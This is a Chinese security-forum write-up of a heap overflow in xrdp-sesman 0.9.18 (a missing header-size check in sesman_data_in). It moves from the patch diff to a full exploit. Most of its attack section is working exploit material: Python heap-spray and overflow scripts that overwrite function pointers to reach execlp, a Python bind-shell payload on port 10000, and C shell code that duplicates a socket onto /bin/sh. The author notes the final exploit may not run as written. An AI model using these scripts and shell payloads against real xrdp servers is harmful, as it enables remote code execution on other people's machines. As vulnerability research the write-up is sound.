本文为看雪论坛精华文章
看雪论坛作者ID:Tokameine
一
复现环境
xrdp-sesman 0.9.18The xrdp session managerCopyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.See https://github.com/neutrinolabs/xrdp for more information.
二
漏洞成因
static intsesman_data_in(struct trans *self){+ #define HEADER_SIZE 8int version;int size;if (self->extra_flags == 0){in_uint32_be(self->in_s, version);in_uint32_be(self->in_s, size);- if (size > self->in_s->size)+ if (size < HEADER_SIZE || size > self->in_s->size){- LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");+ LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size);return 1;}self->header_size = size;@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self)return 1;}/* reset for next message */- self->header_size = 8;+ self->header_size = HEADER_SIZE;self->extra_flags = 0;init_stream(self->in_s, 0); /* Reset input stream pointers */}return 0;+ #undef HEADER_SIZE}/******************************************************************************/
else /* connected server or client (2 or 3) */{if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES){}else if (self->trans_can_recv(self, self->sck, 0)){cur_source = XRDP_SOURCE_NONE;if (self->si != 0){cur_source = self->si->cur_source;self->si->cur_source = self->my_source;}read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;if (to_read > 0){read_bytes = self->trans_recv(self, self->in_s->end, to_read);
struct trans *trans_create(int mode, int in_size, int out_size){struct trans *self = (struct trans *) NULL;self = (struct trans *) g_malloc(sizeof(struct trans), 1);if (self != NULL){make_stream(self->in_s);init_stream(self->in_s, in_size);make_stream(self->out_s);init_stream(self->out_s, out_size);self->mode = mode;self->tls = 0;/* assign tcp calls by default */self->trans_recv = trans_tcp_recv;self->trans_send = trans_tcp_send;self->trans_can_recv = trans_tcp_can_recv;}return self;}
#define init_stream(s, v) do \{ \if ((v) > (s)->size) \{ \g_free((s)->data); \(s)->data = (char*)g_malloc((v), 0); \(s)->size = (v); \} \(s)->p = (s)->data; \(s)->end = (s)->data; \(s)->next_packet = 0; \} while (0)
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);inttrans_check_wait_objs(struct trans *self){......if (self->type1 == TRANS_TYPE_LISTENER) /* listening */{......}else /* connected server or client (2 or 3) */{if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES){}else if (self->trans_can_recv(self, self->sck, 0)){cur_source = XRDP_SOURCE_NONE;if (self->si != 0){cur_source = self->si->cur_source;self->si->cur_source = self->my_source;}read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;if (to_read > 0){read_bytes = self->trans_recv(self, self->in_s->end, to_read);......}......}return rv;}
import socketimport structif __name__ == "__main__":s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",3350))sdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)s.send(sdata)sdata = b'a'*0x10000s.send(sdata)
三
漏洞利用
struct trans *trans_create(int mode, int in_size, int out_size){struct trans *self = (struct trans *) NULL;self = (struct trans *) g_malloc(sizeof(struct trans), 1);......self->trans_recv = trans_tcp_recv;self->trans_send = trans_tcp_send;self->trans_can_recv = trans_tcp_can_recv;return self;}
extern:00000000004105D8 extrn g_execvp:nearextern:0000000000410658 extrn g_execlp3:near
intg_execvp(const char *p1, char *args[]){......args_len = 0;while (args[args_len] != NULL){args_len++;}g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len);g_rm_temp_dir();rv = execvp(p1, args);......}intg_execlp3(const char *a1, const char *a2, const char *a3){......g_strnjoin(args_str, ARGS_STR_LEN, " ", args, 2);......g_rm_temp_dir();rv = execlp(a1, a2, a3, (void *)0);......}
int main(){char ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");";execlp("python3","python3",ars2,0);return 0;}
read_bytes = self->trans_recv(self, self->in_s->end, to_read);struct trans{tbus sck; /* socket handle */int mode; /* 1 tcp, 2 unix socket, 3 vsock */int status;int type1; /* 1 listener 2 server 3 client */ttrans_data_in trans_data_in;ttrans_conn_in trans_conn_in;void *callback_data;int header_size;struct stream *in_s;struct stream *out_s;char *listen_filename;tis_term is_term; /* used to test for exit */struct stream *wait_s;char addr[256];char port[256];int no_stream_init_on_data_in;int extra_flags; /* user defined */struct ssl_tls *tls;const char *ssl_protocol; /* e.g. TLSv1, TLSv1.1, TLSv1.2, unknown */const char *cipher_name; /* e.g. AES256-GCM-SHA384 */trans_recv_proc trans_recv;//0x280trans_send_proc trans_send;trans_can_recv_proc trans_can_recv;struct source_info *si;enum xrdp_source my_source;};
inttrans_check_wait_objs(struct trans *self){......if (self->status != TRANS_STATUS_UP){return 1;}rv = 0;if (self->type1 == TRANS_TYPE_LISTENER) //<------ false{......}else /* connected server or client (2 or 3) */{if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES){}else if (self->trans_can_recv(self, self->sck, 0)){cur_source = XRDP_SOURCE_NONE;if (self->si != 0){cur_source = self->si->cur_source;self->si->cur_source = self->my_source;}read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;if (to_read > 0){read_bytes = self->trans_recv(self, self->in_s->end, to_read);......}
self->status 必须固定为 TRANS_STATUS_UP
self->type1 不可为 TRANS_TYPE_LISTENER
self->trans_can_recv 返回非 0 值
self->si 非 0
struct stream{char *p;char *end;char *data;int size;int pad0;/* offsets of various headers */char *iso_hdr;char *mcs_hdr;char *sec_hdr;char *rdp_hdr;char *channel_hdr;/* other */char *next_packet;struct stream *next;int *source;};
read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;
intg_sck_can_recv(int sck, int millis){fd_set rfds;struct timeval time;int rv;g_memset(&time, 0, sizeof(time));time.tv_sec = millis / 1000;time.tv_usec = (millis * 1000) % 1000000;FD_ZERO(&rfds);if (sck > 0){FD_SET(((unsigned int)sck), &rfds);rv = select(sck + 1, &rfds, 0, 0, &time);if (rv > 0){return 1;}}return 0;}
0x0000000000405464 : or al, 0x89 ; ret/*** Maximum number of short-lived connections to sesman** At the moment, all connections to sesman are short-lived. This may change* in the future*/
vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA0x400000 0x403000 r--p 3000 0 /usr/local/sbin/xrdp-sesman0x403000 0x40b000 r-xp 8000 3000 /usr/local/sbin/xrdp-sesman0x40b000 0x40f000 r--p 4000 b000 /usr/local/sbin/xrdp-sesman0x40f000 0x410000 r--p 1000 e000 /usr/local/sbin/xrdp-sesman0x410000 0x411000 rw-p 1000 f000 /usr/local/sbin/xrdp-sesman0x65b000 0x6a7000 rw-p 4c000 0 [heap]0x6a7000 0x6c8000 rw-p 21000 0 [heap]
这个数值是笔者在调试过程中根据印象猜出来的,实际还是要以源代码为准,但笔者在这里想要表达的意思是,强行堆喷的成功率不高,粗算一下大概是 0.7112884521484375%(原神单抽一个五星的感觉)
args_str1 | args_str2 | args_str1_addr | args_str2_addrargs_str1 | args_str2args_str1_addr | args_str2_addrimport socketimport structimport timedef pack_addr():sdata=b"python3\x00-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");\x00"return sdatadef pack_addr2():sdata = b"\xf0\x93\x0a\x02\x00\x00\x00\x00"sdata = b"\xf8\x93\x0a\x02\x00\x00\x00\x00"return sdatas = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",3350))# padding args_strcon_list=[0]*300for i in range(14):con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[i].connect(("127.0.0.1",3350))sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[i].send(sdata)sdata = pack_addr()*0xd0con_list[i].send(sdata)con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[14].connect(("127.0.0.1",3350))con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[15].connect(("127.0.0.1",3350))x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)x.connect(("127.0.0.1",3350))# padding args_str_addrcon_list2=[0]*300def heap_spary(x,y):for i in range(x,y):con_list2[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list2[i].connect(("127.0.0.1",3350))sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list2[i].send(sdata)sdata = pack_addr2()*0x3f0con_list2[i].send(sdata)time.sleep(0.05)heap_spary(0,50)heap_spary(50,100)heap_spary(100,150)#init streamsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)con_list[15].send(sdata)sdata = b'D'*0x10con_list[15].send(sdata)# heap_overflowsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)con_list[14].send(sdata)sdata = b'C'*0x4140+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"/tmp/x\x00\x00"+b"\x01\x00\x00\x00"*2sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\xf0\x93\x3a\x02\x00\x00\x00\x00"sdata+=b"P"*0x240+b"\xf0\x3b\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x64\x54\x40\x00\x00\x00\x00\x00"con_list[14].send(sdata)# trigger execlpsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += b"\x58\x01\xda\x00\x00\x00\x00\x00" #headersizecon_list[15].send(sdata)
char shell[]="/bin/sh";char message[]="hi hacker welcome";int sock;int main(int argc, char *argv[]) {struct sockaddr_in server;if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {printf("Couldn't make socket!n"); exit(-1);}server.sin_family = AF_INET;server.sin_port = htons(atoi("10000"));server.sin_addr.s_addr = inet_addr("0.0.0.0");if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {printf("Could not connect to remote shell!n");//exit(-1);// return -1;exit(-1);}send(sock, message, sizeof(message), 0);dup2(sock, 0);dup2(sock, 1);dup2(sock, 2);execl(shell,"/bin/sh",(char *)0);close(sock);return 1;}void usage(char *prog[]) {printf("Usage: %s <reflect ip> <port>\n", prog);//exit(-1);// return -1;exit(-1);}
int main(){int a=execlp("/tmp/x",0,0,(void*)0);return 0;}
int main(){int a=execvp("/tmp/x",0);return 0;}
intg_execvp(const char *p1, char *args[]){int rv;char args_str[ARGS_STR_LEN];int args_len;args_len = 0;while (args[args_len] != NULL){args_len++;}g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len);LOG(LOG_LEVEL_DEBUG,"Calling exec (excutable: %s, arguments: %s)",p1, args_str);g_rm_temp_dir();rv = execvp(p1, args);/* should not get here */LOG(LOG_LEVEL_ERROR,"Error calling exec (excutable: %s, arguments: %s) ""returned errno: %d, description: %s",p1, args_str, g_get_errno(), g_get_strerror());g_mk_socket_path(0);return rv;}
addr1 | addr2 | addr3 | 0import socketimport structimport timedef pack_addr2():sdata = b"\xba\xc9\x40\x00\x00\x00\x00\x00"return sdatas = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",3350))con_list=[0]*300for i in range(12):con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[i].connect(("127.0.0.1",3350))sdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)con_list[i].send(sdata)sdata = pack_addr2()*0x3f0con_list[i].send(sdata)time.sleep(0.05)con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[14].connect(("127.0.0.1",3350))con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[15].connect(("127.0.0.1",3350))x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)x.connect(("127.0.0.1",3350))# init streamsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[15].send(sdata)sdata = b'D'*0x10con_list[15].send(sdata)# heap overflowsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[14].send(sdata)sdata = b'C'*0x4140+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"/tmp/x\x00\x00"+b"\x01\x00\x00\x00"*2sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\xf0\x93\x3a\x02\x00\x00\x00\x00"sdata+=b"P"*0x240+b"\xf0\x3b\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x64\x54\x40\x00\x00\x00\x00\x00"con_list[14].send(sdata)# trigger execlpsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += b"\x58\x01\xda\x00\x00\x00\x00\x00"con_list[15].send(sdata)
这个 exp 可能是不通的,因为我选了用 execlp 去完成。主要是做到这一步之后,我感兴趣的部分已经全都完成了,所以差不多就停了,并且本文也已经写完了。
如果读者对 execvp 的方案感兴趣,也可以自行尝试一下。
看雪ID:Tokameine
https://bbs.pediy.com/user-home-924548.htm
峰会回顾:https://mp.weixin.qq.com/s/eEbc8k8H9Pc2K0d_AHG3BA
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!